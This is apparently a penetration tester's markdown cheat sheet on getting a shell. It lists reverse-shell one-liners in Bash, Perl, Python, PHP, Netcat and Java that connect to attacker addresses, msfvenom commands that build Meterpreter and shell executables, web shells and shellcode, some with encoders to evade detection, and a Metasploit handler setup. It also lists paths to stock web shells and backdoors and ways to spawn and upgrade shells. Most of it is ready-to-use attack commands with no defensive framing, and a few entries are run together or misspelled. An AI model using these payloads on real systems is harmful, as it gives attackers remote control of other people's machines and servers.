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Getting Shell.md

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Reverse Shell

  • Bash

    • bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    • bash -c '/bin/bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'

  • Perl

    • perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  • Python

    • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • PHP

    • php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

  • Netcat

    • nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
    • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

  • Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

  • Msfvenom

    • Binaries

      • Linux

        • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f elf > shell.elf

      • Windows

        • msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f exe > reverse.exe
        • msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$PORT –f exe > /root/Desktop/reverse.exe
        • msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=$IP LPORT=$PORT -e x86/shikata_ga_nai -f vba-exe
        • msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=$IP LPORT=$PORT -e x86/shikata_ga_nai -f exe -o reverse.exe
        • msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=$PORT -f exe -o reverse.exe

    • Web Payloads

      • PHP

        • msfvenom -p php/meterpreter_reverse_tcp LHOST=$IP LPORT=$PORT -f raw > shell.php
        • cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

      • ASP

        • msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f asp > shell.asp

      • JSP

        • msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=$PORT -f raw > shell.jsp

      • WAR

        • msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=$PORT -f war > shell.war

    • Scripting Payloads

      • Python

        • msfvenom -p cmd/unix/reverse_python LHOST=$IP LPORT=$PORT -f raw > shell.py

      • Bash

        • msfvenom -p cmd/unix/reverse_bash LHOST=$IP LPORT=$PORT -f raw > shell.sh

      • Perl

        • msfvenom -p cmd/unix/reverse_perl LHOST=$IP LPORT=$PORT -f raw > shell.pl

    • Shellcode

      • Linux Based Shellcode

        • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f $LANGUAGE

      • Windows Based Shellcode

        • msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f $LANGUAGE

  • Handlers

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

- `msfconsole -L -r`

Webshells

  • Asp

    • /usr/share/webshells/asp/cmd-asp-5.1.asp
    • /usr/share/webshells/asp/cmdasp.asp

  • Aspx

    • /usr/share/webshells/aspx/cmdasp.aspx

  • Cfm

    • /usr/share/webshells/cmf/cfexec.cfm

  • Jsp

    • /usr/share/webshells/jsp/cmfjsp.jsp
    • /usr/share/webshells/jsp/jsp-reverse.jsp

  • Perl

    • /usr/share/webshells/perl/perlcmd.cgi
    • /usr/share/webshells/perl/perl-reverse-shell.pl

  • Php

    • /usr/share/webshells/php/findsocket/*
    • /usr/share/webshells/php/php-backdoor.php
    • /usr/share/webshells/php/php-reverse-shell.php
    • /usr/share/webshells/php/qsd-php-backdoor.php
    • /usr/share/webshells/php/simple-backdoor.php

  • Useful

    • rlwrap nc localhost 80
    • rlwrap

Spawing Shell

  • Python

    • python -c "import pty;pty.spawn('/bin/bash')"

  • Echo

    • echo 'os.system('/bin/bash')'

  • Sh

    • /bin/sh -i

  • Bash

    • /bin/bash -i

  • Perl

    • perl -e 'exec "/bin/sh";'

  • Ruby

    • ruby: exec "/bin/sh"

  • Lua

    • lua: os.execute('/bin/sh')

  • Vi

    • !bash
    • set shell=/bin/bash:shell

  • Nmap

    • !sh

  • Extras:

    • stty raw -echo
    • export TERM=xterm